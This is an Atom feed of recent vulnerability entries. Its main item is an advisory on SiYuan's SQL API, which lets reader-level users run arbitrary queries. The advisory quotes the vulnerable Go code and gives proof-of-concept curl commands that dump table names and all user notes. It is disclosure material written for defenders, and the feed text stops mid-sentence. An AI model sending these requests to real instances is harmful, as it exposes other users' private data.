<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-18T01:58:55.853605+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-275064</id>
    <title>EUVD-2026-275064</title>
    <updated>2026-10-18T01:58:55.926248+00:00</updated>
    <content>EUVD-2026-275064</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-275064"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-29073</id>
    <title>fkie_cve-2026-29073</title>
    <updated>2026-10-18T01:58:55.926286+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>SiYuan is a personal knowledge management system. Prior to version 3.6.0, the /api/query/sql lets a user run sql directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any sql query on the database. This issue has been patched in version 3.6.0.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-29073"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-jqwg-75qf-vmf9</id>
    <title>GHSA-jqwg-75qf-vmf9 — SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access</title>
    <updated>2026-10-18T01:58:55.926318+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/siyuan-note/siyuan/kernel</p>
<p>### Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any  SQL query on the database.</p>
<p>### Details</p>
<p>The vulnerable endpoint is in kernel/api/sql.go</p>
<p>```go
func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)</p>
<p>arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }</p>
<p>stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
```</p>
<p>The route in kernel/api/router.go only uses CheckAuth middleware</p>
<p>e.g (similar)</p>
<p>```go
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
```</p>
<p>### PoC</p>
<p>Start SiYuan with the publish service turned on</p>
<p>```bash</p>
<p># List out all tables in the database</p>
<p>curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'</p>
<p># Extract all user content from the database</p>
<p>curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'</p>
<p>```</p>
<p>### Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious perfor…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-jqwg-75qf-vmf9"/>
  </entry>
</feed>
